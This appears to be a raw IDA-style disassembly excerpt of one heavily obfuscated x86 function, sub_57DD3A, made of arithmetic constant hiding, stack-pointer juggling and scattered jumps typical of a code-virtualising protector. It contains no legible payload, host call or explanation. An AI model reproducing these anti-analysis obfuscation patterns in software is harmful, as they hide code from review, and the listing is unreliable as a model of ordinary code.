CODE XREF: sub_57DD3A+19600j jmp loc_58E353 ; --------------------------------------------------------------------------- loc_59EB14: ; CODE XREF: sub_57DD3A+1927Ej sub eax, 64072D1h mov edi, [esp+0Ch+var_E+2] add esp, 4 xor eax, [esp+8+var_8] xor [esp+8+var_8], eax xor eax, [esp+8+var_8] mov esp, [esp+8+var_8] or eax, eax jnz loc_59A982 push ebp push ebx push 11DB0071h jmp loc_599BA6 ; --------------------------------------------------------------------------- pop small word ptr [edx] jmp loc_58E353 ; --------------------------------------------------------------------------- loc_59EB47: ; CODE XREF: sub_57DD3A+205B1j mov ecx, 628B1E46h add ecx, 0F9341CA2h dec ecx push eax mov eax, 71E21B1Bh push esi mov esi, 3EA046DAh inc esi shl esi, 3 xor esi, 1E2437B8h xor esi, 8A116D5Fh add eax, esi pop esi push esi jmp loc_594F25 ; --------------------------------------------------------------------------- loc_59EB78: ; CODE XREF: sub_57DD3A+1947Cj push ebx jmp loc_5A01F5 ; --------------------------------------------------------------------------- loc_59EB7E: ; CODE XREF: sub_57DD3A+168A9j push 46BBh mov [esp+54h+var_54], esi push ebx mov ebx, 44DB0D64h shr ebx, 2 shr ebx, 1 add ebx, 91DA1C5h jmp loc_59397A ; --------------------------------------------------------------------------- loc_59EB9C: ; CODE XREF: sub_57DD3A+1BD97j mov [esp+4Ah+var_4C+2], eax push 1409h mov [esp+4Eh+var_50+2], edx push eax mov eax, 5635215Bh mov edx, eax pop eax mov eax, 7AF44D5Bh xor eax, edx pop edx push ecx mov ecx, 6A2D4308h jmp loc_58FDA8 ; --------------------------------------------------------------------------- loc_59EBC3: ; CODE XREF: sub_57DD3A+19E84j push 66F9h mov [esp+58h+var_58], ecx jmp loc_599DF4 ; --------------------------------------------------------------------------- loc_59EBD0: ; CODE XREF: sub_57DD3A+14A44j add [esp+74h+var_70], esi jmp loc_5A1AEC ; --------------------------------------------------------------------------- loc_59EBD9: ; CODE XREF: sub_57DD3A+1FE99j sub ebp, 41C04956h jmp loc_5999EF ; --------------------------------------------------------------------------- loc_59EBE4: ; CODE XREF: sub_57DD3A+1417Ej add dh, 1 jmp loc_597722 ; --------------------------------------------------------------------------- loc_59EBEC: ; CODE XREF: sub_57DD3A+139F8j sub eax, 186C33B1h xor eax, 0AD78C04Bh push esi push esp jmp loc_5A01B5 ; --------------------------------------------------------------------------- loc_59EBFD: ; CODE XREF: sub_57DD3A+1A22Dj push 1EC7h jmp loc_59CE33 ; --------------------------------------------------------------------------- loc_59EC07: ; CODE XREF: sub_57DD3A+1A011j pop ebx add ebx, 2E1406B0h jmp loc_5916C6 ; --------------------------------------------------------------------------- loc_59EC13: ; CODE XREF: sub_57DD3A+15709j mov ebx, esp jmp loc_592AD7 ; --------------------------------------------------------------------------- loc_59EC1A: ; CODE XREF: sub_57DD3A+1768Fj sub eax, 5E6F09E5h push edx mov edx, 69468D5h add edx, 5B200250h neg edx xor edx, 252473E2h push ebx mov ebx, 5BB9C0E4h sub edx, ebx jmp loc_59D0B4 ; --------------------------------------------------------------------------- loc_59EC40: ; CODE XREF: sub_57DD3A+24279j not [esp+60h+var_60] pop eax xor eax, 4AD100E2h xor edi, eax pop eax jmp loc_590D3B ; --------------------------------------------------------------------------- loc_59EC51: ; CODE XREF: sub_57DD3A+20453j pop eax add esp, 4 sub esp, 4 jmp loc_59AF7C ; --------------------------------------------------------------------------- loc_59EC60: ; CODE XREF: sub_57DD3A+237BBj sub esi, 18C10272h pop ebp mov edi, esi pop esi sub esi, 6EE80297h add esi, 53C001DDh add esi, edi jmp loc_5993C6 ; --------------------------------------------------------------------------- loc_59EC7D: ; CODE XREF: sub_57DD3A+20810j add eax, 4 xchg eax, [esp+46h+var_46] pop esp jmp loc_5A0C2F ; --------------------------------------------------------------------------- loc_59EC89: ; CODE XREF: sub_57DD3A+1A004j sub ebx, 1FA3486Bh add ebx, 13F467C5h sub esp, 4 mov [esp+3Eh+var_3E], edx mov edx, 0 add edx, ebx sub esp, 4 mov [esp+42h+var_42], ecx sub esp, 4 mov [esp+46h+var_46], ebp mov ebp, 6427D79h xor [esp+46h+var_42], ebp pop ebp pop dword ptr [edx] jmp loc_593263 ; --------------------------------------------------------------------------- loc_59ECBF: ; CODE XREF: sub_57DD3A+22944j pop esp mov [esp+3Ah+var_3A], ebp push ebx push esp pop ebx jmp loc_58EDCD ; --------------------------------------------------------------------------- loc_59ECCB: ; CODE XREF: sub_57DD3A+24B1Fj push edi mov edi, 4 jmp loc_59F81F ; --------------------------------------------------------------------------- loc_59ECD6: ; CODE XREF: sub_57DD3A+22181j jmp loc_58E353 ; --------------------------------------------------------------------------- loc_59ECDB: ; CODE XREF: sub_57DD3A+22AFBj push edi mov edi, 4EC42DF3h add edi, 375A4483h xor edi, 3F252E4h sub edi, 44B212F3h xor edi, 4F595441h jmp loc_594DC7 ; --------------------------------------------------------------------------- loc_59ECFE: ; CODE XREF: sub_57DD3A+22499j pop eax sub edi, ebp pop ebp add edi, eax sub esp, 4 mov [esp+42h+var_42], edx mov edx, 133B6531h inc edx sub edx, 534727D2h shl edx, 1 add edx, 0CD8F9C64h add edi, edx pop edx pop eax push esi mov esi, 2 add edi, esi mov esi, [esp+3Eh+var_3E] add esp, 4 xchg edi, [esp+3Ah+var_3A] mov esp, [esp+3Ah+var_3A] shl [esp+3Ah+var_3A], cl pushf jmp loc_58E353 ; --------------------------------------------------------------------------- loc_59ED45: ; CODE XREF: sub_57DD3A+141E0j pop esi jmp loc_5A1E16 ; --------------------------------------------------------------------------- loc_59ED4B: ; CODE XREF: sub_57DD3A+1A6E3j pop esp jmp loc_58F6D5 ; --------------------------------------------------------------------------- loc_59ED51: ; CODE XREF: sub_57DD3A+23232j pop esp mov [esp+60h+var_60], ebx push ecx mov cl, 11h mov bh, cl jmp loc_59EA07 ; --------------------------------------------------------------------------- loc_59ED5F: ; CODE XREF: sub_57DD3A+1555Dj add eax, 4 xchg eax, [esp-0Ch+arg_6+2] pop esp jmp loc_59389D ; --------------------------------------------------------------------------- loc_59ED6B: ; CODE XREF: sub_57DD3A+1509Fj xor edi, 0C9E9EE3Eh push edx mov edx, edi mov ecx, edx pop edx jmp loc_5A02F1 ; --------------------------------------------------------------------------- loc_59ED7C: ; CODE XREF: sub_57DD3A+18742j push bx jmp loc_59E3FF ; --------------------------------------------------------------------------- loc_59ED83: ; CODE XREF: sub_57DD3A+1F85Ej not ebp xor [esp+7Eh+var_80+2], ebp xor ebp, [esp+7Eh+var_80+2] jmp loc_590CE6 ; --------------------------------------------------------------------------- loc_59ED90: ; CODE XREF: sub_57DD3A+24B8Fj sub esi, ebx add esi, 21DC0868h jmp loc_59C139 ; --------------------------------------------------------------------------- loc_59ED9D: ; CODE XREF: sub_57DD3A+10F94j sub ebp, 25C8DEDEh add edi, ebp push [esp+1Ah+var_1A] pop ebp push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp+1Eh+var_1E] pop esp push ebp push esi mov esi, 6FBF6ACDh mov ebp, 6FBF6AC9h jmp loc_5995E2 ; --------------------------------------------------------------------------- loc_59EDCD: ; DATA XREF: sub_57DD3A+103EAo pop dword ptr [edx] jmp loc_58E353 ; --------------------------------------------------------------------------- loc_59EDD4: ; CODE XREF: sub_57DD3A+1C936j add edi, 2A344C8Fh add esi, 1D3D3F2Bh jmp loc_592624 ; --------------------------------------------------------------------------- loc_59EDE5: ; CODE XREF: sub_57DD3A+2364Cj add ecx, 0C356C503h jmp loc_5A1DAE ; --------------------------------------------------------------------------- loc_59EDF0: ; DATA XREF: sub_57DD3A+10366o lodsb push 60C4h mov [esp+4Eh+var_50+2], ebx mov bh, 7Ch not bh and bh, 0EDh not bh xor bh, 0E8h jmp loc_5A159F ; --------------------------------------------------------------------------- loc_59EE0A: ; CODE XREF: sub_57DD3A+137E6j mov esi, 145C11BAh jmp loc_59FAF5 ; --------------------------------------------------------------------------- loc_59EE14: ; CODE XREF: sub_57DD3A+17706j add edi, 7AF5260Ch sub edi, 0E2969931h sub ebp, 2FF02DE0h sub ebp, edi add ebp, 2FF02DE0h pop edi sub esp, 4 mov [esp+4Ch+var_4C], ebp jmp loc_590619 ; --------------------------------------------------------------------------- loc_59EE3D: ; CODE XREF: sub_57DD3A+232D2j pop esp loc_59EE3E: ; CODE XREF: sub_57DD3A+170CEj push 52B5h mov [esp+4Ch+var_4C], ebx xor [esp+4Ch+var_4C], 67E67F04h jmp loc_58F5C4 ; --------------------------------------------------------------------------- loc_59EE52: ; CODE XREF: sub_57DD3A+1C5DAj add ecx, ebx mov ebx, [esp+0Eh+var_E] add esp, 4 add edx, ecx push dword ptr [esp+0] mov ecx, [esp+0Eh+var_E] jmp loc_59E05E ; --------------------------------------------------------------------------- loc_59EE67: ; CODE XREF: sub_57DD3A+107F6j xchg ecx, [esp+14h+var_16+2] pop esp mov [esp+10h+var_12+2], edx push 2055h mov [esp+14h+var_16+2], eax jmp loc_591CD7 ; --------------------------------------------------------------------------- loc_59EE7B: ; CODE XREF: sub_57DD3A+16A2Ej neg bl sub bl, 52h add ch, bl pop ebx jmp loc_59B51B ; --------------------------------------------------------------------------- loc_59EE88: ; CODE XREF: sub_57DD3A+16E69j shl esi, 6 jmp loc_59E304 ; --------------------------------------------------------------------------- loc_59EE90: ; CODE XREF: sub_57DD3A+122CFj mov edi, [esp+44h+var_46+2] add esp, 4 xor edx, [esp+40h+var_42+2] jmp loc_591EC5 ; --------------------------------------------------------------------------- loc_59EEA1: ; CODE XREF: sub_57DD3A+20D4Fj pop edi add edx, 40E56F2Dh add edx, esi jmp loc_59F170 ; --------------------------------------------------------------------------- loc_59EEAF: ; CODE XREF: sub_57DD3A+19B4Cj inc edx jmp loc_59E6D3 ; --------------------------------------------------------------------------- loc_59EEB5: ; CODE XREF: sub_57DD3A+224E2j push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp+42h+var_42] jmp loc_5A1EED ; --------------------------------------------------------------------------- loc_59EEC8: ; CODE XREF: sub_57DD3A+1F5C2j push 69E9h mov [esp+58h+var_58], edi jmp loc_5992F6 ; --------------------------------------------------------------------------- loc_59EED5: ; CODE XREF: sub_57DD3A+11512j sub ebx, 0F845BF89h add eax, ebx pop ebx add eax, 66F67FC2h sub esp, 4 mov [esp+14h+var_16+2], ebx sub esp, 4 mov [esp+18h+var_1A+2], eax jmp loc_59BA64 ; --------------------------------------------------------------------------- loc_59EEFA: ; CODE XREF: sub_57DD3A+17E8Dj push ecx mov ecx, esp add ecx, 4 push esi mov esi, esp add esi, 4 jmp loc_59BD06 ; --------------------------------------------------------------------------- loc_59EF11: ; CODE XREF: sub_57DD3A+19483j not ch sub ch, 16h xor al, ch mov cx, word ptr [esp+16h+var_16] add esp, 2 sub bl, al mov eax, [esp+12h+var_12] add esp, 4 sub bl, al push eax jmp loc_5957BD ; --------------------------------------------------------------------------- loc_59EF2F: ; CODE XREF: sub_57DD3A+17B88j sub edx, esi jmp loc_5960D9 ; --------------------------------------------------------------------------- loc_59EF36: ; CODE XREF: sub_57DD3A+12721j inc edi not edi inc edi xor edi, 960F9A9Ah add ebx, edi pop edi jmp loc_59AB32 ; --------------------------------------------------------------------------- loc_59EF48: ; CODE XREF: sub_57DD3A+2440Aj mov ebx, [esp+12h+var_12] jmp loc_58FD93 ; --------------------------------------------------------------------------- loc_59EF50: ; CODE XREF: sub_57DD3A+1B21Fj mov edx, [esp+60h+var_60] jmp loc_592ACC ; --------------------------------------------------------------------------- loc_59EF58: ; CODE XREF: sub_57DD3A+25043j mov esi, 4255597Fh add ebx, esi mov esi, [esp+60h+var_60] add esp, 4 jmp loc_59320A ; --------------------------------------------------------------------------- loc_59EF6D: ; CODE XREF: sub_57DD3A+164E0j sub eax, 6E7003EEh add eax, ebp jmp loc_59C874 ; --------------------------------------------------------------------------- loc_59EF79: ; CODE XREF: sub_57DD3A+16916j push esi push edi jmp loc_59B2D6 ; --------------------------------------------------------------------------- loc_59EF80: ; CODE XREF: sub_57DD3A+1B9C3j dec ecx jmp loc_598991 ; --------------------------------------------------------------------------- loc_59EF86: ; CODE XREF: sub_57DD3A+1EC0Cj add esp, 4 jmp loc_5A0F71 ; --------------------------------------------------------------------------- loc_59EF91: ; CODE XREF: sub_57DD3A+21DD6j mov dl, 9Fh mov al, dl pop edx jmp loc_5911F1 ; --------------------------------------------------------------------------- loc_59EF9B: ; CODE XREF: sub_57DD3A+24CDDj mov ebx, [esp+32h+var_32] jmp loc_592C10 ; --------------------------------------------------------------------------- loc_59EFA3: ; CODE XREF: sub_57DD3A+18082j add edi, 1FE50A22h sub edi, edx sub edi, 1FE50A22h pop edx pop edx push [esp+3Ch+var_3E+2] pop ebx jmp loc_591CCF ; --------------------------------------------------------------------------- loc_59EFBC: ; CODE XREF: sub_57DD3A+236DFj dec ebp not ebp sub ebp, 9C1A6EE2h add edx, 2F181912h jmp loc_591AC5 ; --------------------------------------------------------------------------- loc_59EFD0: ; CODE XREF: sub_57DD3A+12476j add esi, 2E9F7320h sub esi, edx sub esi, 2E9F7320h pop edx push ecx jmp loc_5A120E ; --------------------------------------------------------------------------- loc_59EFE5: ; CODE XREF: sub_57DD3A+24158j mov cl, 0F1h jmp loc_590BD6 ; --------------------------------------------------------------------------- loc_59EFEC: ; CODE XREF: sub_57DD3A+12E4Dj add ebp, ebx push ecx mov ecx, 5B5B42EDh add ebp, ecx pop ecx push [esp+58h+var_58] pop ebx push ebx mov ebx, esp add ebx, 4 add ebx, 4 jmp loc_5933E3 ; --------------------------------------------------------------------------- loc_59F00F: ; CODE XREF: sub_57DD3A+161FBj push [esp+40h+var_42+2] pop ebx add esp, 4 push ecx jmp loc_594429 ; --------------------------------------------------------------------------- loc_59F01F: ; CODE XREF: sub_57DD3A+121F4j add ebp, edi pop edi jmp loc_592C05 ; --------------------------------------------------------------------------- loc_59F027: ; CODE XREF: sub_57DD3A+11D98j mov dh, ah pop eax sub al, dh pop edx add al, 1Ch jmp loc_591C77 ; --------------------------------------------------------------------------- loc_59F034: ; CODE XREF: sub_57DD3A+14CB2j push ebx mov ebx, 737B7597h add ebx, 0FAB38D93h mov eax, ebx pop ebx sub esi, eax mov eax, [esp+16h+var_16] add esp, 4 add esi, eax jmp loc_59890A ; --------------------------------------------------------------------------- loc_59F055: ; CODE XREF: sub_57DD3A+239D2j not [esp+12h+var_12] pop edi push ebx push edi mov edi, 6B50012Eh jmp loc_59D9C4 ; --------------------------------------------------------------------------- loc_59F065: ; CODE XREF: sub_57DD3A+10774j mov ebx, 1B4FDEh jmp loc_5982D7 ; --------------------------------------------------------------------------- loc_59F06F: ; CODE XREF: sub_57DD3A+1F103j sub esi, 2F103CE5h push [esp+54h+var_54] pop ebx push eax push esp pop eax jmp loc_59F979 ; --------------------------------------------------------------------------- loc_59F081: ; CODE XREF: sub_57DD3A+1A2A0j add esp, 4 jmp loc_593AF4 ; --------------------------------------------------------------------------- loc_59F08C: ; CODE XREF: sub_57DD3A+1885Bj shr eax, 3 jmp loc_59609B ; --------------------------------------------------------------------------- loc_59F094: ; CODE XREF: sub_57DD3A+18AEBj push [esp+36h+var_36] jmp loc_5A03A0 ; --------------------------------------------------------------------------- loc_59F09C: ; CODE XREF: sub_57DD3A+2030Bj pop ebp movzx ax, byte ptr [eax] push eax mov eax, esp push ebp jmp loc_592EF2 ; --------------------------------------------------------------------------- loc_59F0AA: ; CODE XREF: sub_57DD3A+19A76j pop esp mov [esp+3Ah+var_3A], ebx push 5AEA629Ah jmp loc_5965C9 ; --------------------------------------------------------------------------- loc_59F0B8: ; CODE XREF: sub_57DD3A+24857j mov [esp+3Eh+var_3E], esi mov esi, 2 sub edi, 79055E78h jmp loc_59D7BF ; --------------------------------------------------------------------------- loc_59F0CB: ; CODE XREF: sub_57DD3A+13499j pop esp jmp loc_591018 ; --------------------------------------------------------------------------- loc_59F0D1: ; CODE XREF: sub_57DD3A+24FFAj xor ebp, esi pop esi sub eax, ebp pop ebp jmp loc_5A1C90 ; --------------------------------------------------------------------------- loc_59F0DC: ; CODE XREF: sub_57DD3A+13CA3j xor ecx, ebp jmp loc_5960CA ; --------------------------------------------------------------------------- loc_59F0E3: ; CODE XREF: sub_57DD3A+10660j mov [esp+8+var_8], esi mov esi, 7C634762h add ebx, esi pop esi add ebx, 1E252886h add ebx, 43A7A5EDh and eax, ebx mov ebx, [esp+4+var_4] push ebx mov ebx, esp add ebx, 4 add ebx, 4 jmp loc_5A1072 ; --------------------------------------------------------------------------- loc_59F113: ; CODE XREF: sub_57DD3A+1C9CBj push 4CE6h jmp loc_599590 ; --------------------------------------------------------------------------- loc_59F11D: ; CODE XREF: sub_57DD3A+1649Ej pop esi add edx, 2 xchg edx, [esp+52h+var_54+2] pop esp btr word ptr [esp+4Eh+var_50+2], ax pushf jmp loc_58E353 ; --------------------------------------------------------------------------- loc_59F133: ; CODE XREF: sub_57DD3A+16350j mov ebp, 4B417746h add ebp, 0EF28E870h or eax, ebp pop ebp inc eax jmp loc_59E9F6 ; --------------------------------------------------------------------------- loc_59F147: ; CODE XREF: sub_57DD3A+12626j push ecx mov cl, 4Eh jmp loc_5924C1 ; --------------------------------------------------------------------------- loc_59F14F: ; CODE XREF: sub_57DD3A+16780j push 24BDh mov [esp+4Ch+var_4C], esp add [esp+4Ch+var_4C], 4 pop edi push ebp jmp loc_5940B0 ; --------------------------------------------------------------------------- loc_59F165: ; CODE XREF: sub_57DD3A+14A4Cj push ebx mov ebx, 37465E74h jmp loc_59C6CD ; --------------------------------------------------------------------------- loc_59F170: ; CODE XREF: sub_57DD3A+21170j push ecx jmp loc_58E9A7 ; --------------------------------------------------------------------------- loc_59F176: ; CODE XREF: sub_57DD3A+1C3FBj mov ah, cl mov ecx, [esp] add esp, 4 add ah, 37h mov bh, ah jmp loc_59150E ; --------------------------------------------------------------------------- loc_59F188: ; CODE XREF: sub_57DD3A+22731j sub esp, 4 mov [esp], ebx jmp loc_58EE94 ; --------------------------------------------------------------------------- loc_59F193: ; CODE XREF: sub_57DD3A+2284Ej sub esp, 4 mov [esp+4Ch+var_4C], esi mov esi, esp add esi, 4 push eax mov eax, 4A656B72h push ecx mov ecx, 47427C14h sub eax, ecx jmp loc_59681C ; --------------------------------------------------------------------------- loc_59F1B7: ; CODE XREF: sub_57DD3A+1EF63j pop ebx sub esi, 78D14CF4h add esi, eax add esi, 78D14CF4h mov eax, [esp+1Eh+var_1E] add esp, 4 jmp loc_59727B ; --------------------------------------------------------------------------- loc_59F1D4: ; CODE XREF: sub_57DD3A+222BEj pop ebx push 3775h mov [esp+1Ah+var_1A], ecx push ebp push eax push esi jmp loc_58F251 ; --------------------------------------------------------------------------- loc_59F1E5: ; CODE XREF: sub_57DD3A+127F0j mov esi, 0C185745h dec esi sub esi, 0F5B1989h sub esi, 0FCBD3DB7h add ebx, esi jmp loc_59B0EC ; --------------------------------------------------------------------------- loc_59F1FE: ; CODE XREF: sub_57DD3A+1CA4Aj pop esp add ebp, 64D7A0Fh jmp loc_5984E9 ; --------------------------------------------------------------------------- loc_59F20A: ; CODE XREF: sub_57DD3A+159D1j add esi, 4 sub esi, 4 xchg esi, [esp+6Ah+var_6C+2] pop esp push 7374h jmp near ptr word_592A96 ; --------------------------------------------------------------------------- loc_59F224: ; CODE XREF: sub_57DD3A+2361Ej mov esi, [esp+6Ah+var_6C+2] jmp loc_5A10B7 ; --------------------------------------------------------------------------- loc_59F22C: ; CODE XREF: sub_57DD3A+12442j push edi push esp pop edi push ecx jmp loc_58E6F3 ; --------------------------------------------------------------------------- loc_59F235: ; DATA XREF: sub_57DD3A+103FAo mov ax, word ptr [esp+56h+var_58+2] push 499Ah mov [esp+5Ah+var_5C+2], ebp push esp pop ebp jmp loc_59007A ; --------------------------------------------------------------------------- loc_59F248: ; CODE XREF: sub_57DD3A+1A201j sub al, ch pop ecx jmp loc_59BCF6 ; --------------------------------------------------------------------------- loc_59F250: ; CODE XREF: sub_57DD3A+1E904j mov edi, esi mov esi, [esp+60h+var_60] add esp, 4 add [esp+5Ch+var_54], 15C92660h add [esp+5Ch+var_54], edi sub [esp+5Ch+var_54], 15C92660h pop edi pop edx jmp loc_59A6FE ; --------------------------------------------------------------------------- loc_59F276: ; CODE XREF: sub_57DD3A+1B1A9j mov esp, [esp+28h+var_2A+2] or eax, eax jz loc_5A0E74 push dword ptr [edi+1Ch] push [esp+2Ch+var_2E+2] push [esp+30h+var_32+2] pop ecx push ebp jmp loc_598D33 ; --------------------------------------------------------------------------- loc_59F291: ; CODE XREF: sub_57DD3A+1A4A9j pop ebp push ebp mov ebp, esp add ebp, 4 jmp loc_59846E ; --------------------------------------------------------------------------- loc_59F2A0: ; CODE XREF: sub_57DD3A+1CBB2j sub edx, 0FEA14CBh pop ebp xchg edx, [esp+1Ch+var_1E+2] mov esp, [esp+1Ch+var_1E+2] or ecx, ecx jz loc_5956BD push edi mov edi, esp jmp loc_59D6E9 ; --------------------------------------------------------------------------- lodsd push 501Bh jmp loc_5908A1 ; --------------------------------------------------------------------------- loc_59F2C8: ; CODE XREF: sub_57DD3A+2238Dj add esp, 4 jmp loc_596E15 ; --------------------------------------------------------------------------- loc_59F2D0: ; CODE XREF: sub_57DD3A+11B22j pop ebx push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp+84h+var_84] pop esp xchg edi, [esp+80h+var_80] mov esp, [esp+80h+var_80] mov [esp+80h+var_80], eax push esp jmp loc_58F058 ; --------------------------------------------------------------------------- loc_59F2F3: ; CODE XREF: sub_57DD3A+1AB87j mov [esp+20h+var_22+2], edx mov edx, 24h jmp loc_5A0BBC ; --------------------------------------------------------------------------- loc_59F300: ; CODE XREF: sub_57DD3A+11408j mov ecx, [esp+42h+var_42] add esp, 4 shl ebx, 5 push eax mov eax, 250F1F13h add eax, 49443F1h add ebx, eax pop eax sub edx, ebx pop ebx mov eax, [esp+3Ah+var_3A] add esp, 4 push 2C1Dh mov [esp+3Ah+var_3A], edx pop ecx push [esp+36h+var_36] pop edx add esp, 4 mov eax, ecx pop ecx jmp loc_5A1BCC ; --------------------------------------------------------------------------- loc_59F33B: ; CODE XREF: sub_57DD3A+1A050j not edi xor edi, 122A52B8h shr edi, 2 xor edi, 3D460086h and edi, 66250DE6h sub edi, 0FD29A91Ch xor esi, edi pop edi and edx, esi pop esi add edx, 1 sub edx, 204B41FBh add edx, 0C3300DEh push edx xor [esp+1Ch+var_1E+2], 36AF26F8h pop edi jmp loc_59ABDB ; --------------------------------------------------------------------------- loc_59F37E: ; CODE XREF: sub_57DD3A+18D6Cj shr ebp, 7 xor ebp, 560067EDh not ebp xor ebp, 9279CD54h jmp loc_593CAA ; --------------------------------------------------------------------------- loc_59F394: ; CODE XREF: sub_57DD3A+175ACj pop ecx xchg esi, [esp+1Ch+var_1E+2] pop esp xor al, bh mov bx, word ptr [esp+18h+var_1A+2] add esp, 2 jmp loc_59CB6E ; --------------------------------------------------------------------------- loc_59F3AA: ; CODE XREF: sub_57DD3A+1C804j mov ecx, 0EEC59A2h jmp loc_5A229B ; --------------------------------------------------------------------------- loc_59F3B4: ; CODE XREF: sub_57DD3A+114B8j push [esp+14h+var_12+2] pop ebp pop [esp+14h+var_16+2] mov esp, [esp+10h+var_12+2] and ecx, ebp mov ebp, [esp+10h+var_12+2] push esi push esp mov esi, [esp+18h+var_1A+2] add esp, 4 jmp loc_59E710 ; --------------------------------------------------------------------------- loc_59F3D4: ; CODE XREF: sub_57DD3A+25299j sub ebx, 45334454h pop ecx pop esi push edx mov edx, 4 add ebx, edx jmp loc_59D629 ; --------------------------------------------------------------------------- loc_59F3E9: ; CODE XREF: sub_57DD3A+12734j xor edx, 3DF23994h dec edx sub edx, 0DE842908h xor edi, edx pop edx pop eax mov esi, [esp+0] add esp, 4 jmp loc_593280 ; --------------------------------------------------------------------------- loc_59F408: ; CODE XREF: sub_57DD3A+15015j push 1D5631F5h pop edx jmp loc_592FFF ; --------------------------------------------------------------------------- loc_59F413: ; CODE XREF: sub_57DD3A+1B1FBj pop edx shl ah, 4 sub ah, 0FFh add ah, 1 push edx mov dh, 0B0h shl dh, 8 push cx mov ch, 91h or dh, ch pop cx shl dh, 4 sub dh, 50h sub dh, 0D7h jmp loc_58FE45 ; --------------------------------------------------------------------------- loc_59F439: ; CODE XREF: sub_57DD3A+11BA3j add edi, 0FD7FEFFCh jmp loc_590375 ; --------------------------------------------------------------------------- loc_59F444: ; CODE XREF: sub_57DD3A+135CBj pop ecx inc ecx push ebx jmp loc_5974DC ; --------------------------------------------------------------------------- loc_59F44C: ; CODE XREF: sub_57DD3A+1413Fj xor edi, 595243EDh mov ebx, edi mov edi, [esp+50h+var_50] add esp, 4 xor edx, ebx jmp loc_59735E ; --------------------------------------------------------------------------- loc_59F464: ; CODE XREF: sub_57DD3A+1D0A6j pop ebx jmp loc_5A0E39 ; --------------------------------------------------------------------------- loc_59F46A: ; CODE XREF: sub_57DD3A+1B395j mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp+52h+var_54+2] pop esp mov [esp+4Eh+var_50+2], ecx jmp loc_5A14B8 ; --------------------------------------------------------------------------- loc_59F480: ; CODE XREF: sub_57DD3A+17428j mov edi, esp jmp loc_59272F ; --------------------------------------------------------------------------- loc_59F487: ; CODE XREF: sub_57DD3A+1E590j mov esi, 443251A6h jmp loc_59DA91 ; --------------------------------------------------------------------------- loc_59F491: ; CODE XREF: sub_57DD3A+1687Dj mov cl, 0B0h jmp loc_59D703 ; --------------------------------------------------------------------------- loc_59F498: ; CODE XREF: sub_57DD3A+1CF66j pop ecx jmp loc_59D73F ; --------------------------------------------------------------------------- loc_59F49E: ; CODE XREF: sub_57DD3A+19CEAj push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp+0] pop esp mov [esp-4+arg_0], ebx sub [esp-4+arg_0], 202448F2h jmp loc_59E0C0 ; --------------------------------------------------------------------------- loc_59F4C0: ; CODE XREF: sub_57DD3A+1FE23j push 798Fh jmp loc_5A2CE7 ; --------------------------------------------------------------------------- loc_59F4CA: ; CODE XREF: sub_57DD3A+224B6j xchg eax, ebp not ebp xchg eax, ebp push 771h mov [esp+5Eh+var_60+2], esi mov esi, 351917E2h add eax, esi pop esi push ebx jmp loc_599E0E ; --------------------------------------------------------------------------- loc_59F4E4: ; CODE XREF: sub_57DD3A+131F2j add dh, 89h sub al, 16h sub al, dh push ecx mov cl, 16h jmp loc_59313A ; --------------------------------------------------------------------------- loc_59F4F3: ; CODE XREF: sub_57DD3A+1E3FAj push 7CC6h mov [esp+84h+var_84], ecx push [esp+84h+var_80] jmp loc_59C5F6 ; --------------------------------------------------------------------------- loc_59F504: ; CODE XREF: sub_57DD3A+236B7j add edi, 0AD910F9h add edi, 56AD0BC5h sub edi, eax jmp loc_599838 ; --------------------------------------------------------------------------- loc_59F517: ; CODE XREF: sub_57DD3A+1893Aj pop esp push 782Dh mov [esp+28h+var_2A+2], edi push [esp+28h+var_2A+2] jmp loc_59BE7E ; --------------------------------------------------------------------------- loc_59F528: ; CODE XREF: sub_57DD3A+1C04Cj push 27F51312h jmp loc_5A058D ; --------------------------------------------------------------------------- loc_59F532: ; CODE XREF: sub_57DD3A+109EEj movzx eax, al push dword ptr [edi+eax*4] push 73h mov [esp+14h+var_16+2], esi push eax jmp loc_59C2C5 ; --------------------------------------------------------------------------- loc_59F546: ; CODE XREF: sub_57DD3A+1F494j pop esp push [esp+3Eh+var_3E] mov eax, [esp+42h+var_42] sub esp, 4 mov [esp+46h+var_46], ebp jmp loc_595037 ; --------------------------------------------------------------------------- loc_59F55B: ; CODE XREF: sub_57DD3A+23343j mov ch, 89h add ch, 9Fh shr ch, 8 jmp loc_597F35 ; --------------------------------------------------------------------------- loc_59F568: ; CODE XREF: sub_57DD3A+1D2E7j add ebx, edx add ebx, 65274136h jmp loc_59A0EC ; --------------------------------------------------------------------------- loc_59F575: ; CODE XREF: sub_57DD3A+18C8Bj sub al, 1Dh jmp loc_590E61 ; --------------------------------------------------------------------------- loc_59F57C: ; CODE XREF: sub_57DD3A+1AE0Bj sub eax, 772E6933h jmp loc_5990E7 ; --------------------------------------------------------------------------- loc_59F586: ; CODE XREF: sub_57DD3A+21BB8j or ebp, eax mov eax, [esp+68h+var_68] add esp, 4 and ebp, 429E1D6Ch push eax mov eax, 6BF3B52h xor ebp, eax pop eax jmp loc_592BD9 ; --------------------------------------------------------------------------- loc_59F5A5: ; CODE XREF: sub_57DD3A+11566j pop esi push ecx push esi push 4DC2527Ch pop esi push esi not [esp+36h+var_36] pop esi add esi, 7E5B1F43h xor esi, 3098CCC4h push esi jmp loc_5938DF ; --------------------------------------------------------------------------- loc_59F5C5: ; CODE XREF: sub_57DD3A+16A65j add bl, cl pop cx push ax mov al, 0ECh add bl, 5Eh add bl, al jmp loc_59CF58 ; --------------------------------------------------------------------------- loc_59F5D7: ; CODE XREF: sub_57DD3A+13D17j pop edi push ecx mov ecx, 1FDE3EB2h jmp loc_59B852 ; --------------------------------------------------------------------------- loc_59F5E3: ; CODE XREF: sub_57DD3A+15DAAj pop ecx add ecx, 4 push 70E7h mov [esp+58h+var_58], ebx push 409C7E71h pop ebx shr ebx, 8 or ebx, 0C35213Fh xor ebx, 7C17BCE9h jmp loc_592C42 ; --------------------------------------------------------------------------- loc_59F60C: ; CODE XREF: sub_57DD3A+11490j push [esp+0Ch+var_E+2] pop edx add esp, 4 push 65F0h mov [esp+0Ch+var_E+2], edx jmp loc_591C1F ; --------------------------------------------------------------------------- loc_59F623: ; CODE XREF: sub_57DD3A+24917j shr ebp, 8 jmp loc_5A2AD6 ; --------------------------------------------------------------------------- loc_59F62B: ; CODE XREF: sub_57DD3A+11082j sub ebx, ecx push ebp jmp loc_5A2723 ; --------------------------------------------------------------------------- 